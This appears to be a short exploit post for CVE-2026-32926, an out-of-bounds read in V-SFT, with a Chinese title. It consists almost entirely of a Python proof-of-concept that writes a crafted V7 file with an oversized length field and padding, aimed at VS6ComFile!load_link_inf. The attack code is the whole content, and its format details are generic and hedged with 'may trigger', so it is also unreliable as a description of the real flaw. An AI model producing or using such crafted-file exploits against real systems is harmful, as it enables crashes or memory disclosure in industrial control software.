CVE-2026-32926 V-SFT越界读取漏洞

import struct # Proof of Concept for CVE-2026-32926 # This script generates a crafted V7 file structure that may trigger the out-of-bounds read # in VS6ComFile!load_link_inf due to improper boundary checks. def generate_malicious_v7(filename): with open(filename, 'wb') as f: # V7 File Header (Generic structure) f.write(b'V7\x00') # Crafted section designed to hit load_link_inf # Manipulating the size field to cause overflow in VS6ComFile malicious_size = 0xFFFFFFFF # Excessive size to trigger OOB read f.write(struct.pack('<I', malicious_size)) # Padding or specific payload to reach the vulnerable offset f.write(b'A' * 100) print(f"[+] Malicious file generated: {filename}") if __name__ == "__main__": generate_malicious_v7("exploit_v7.v7")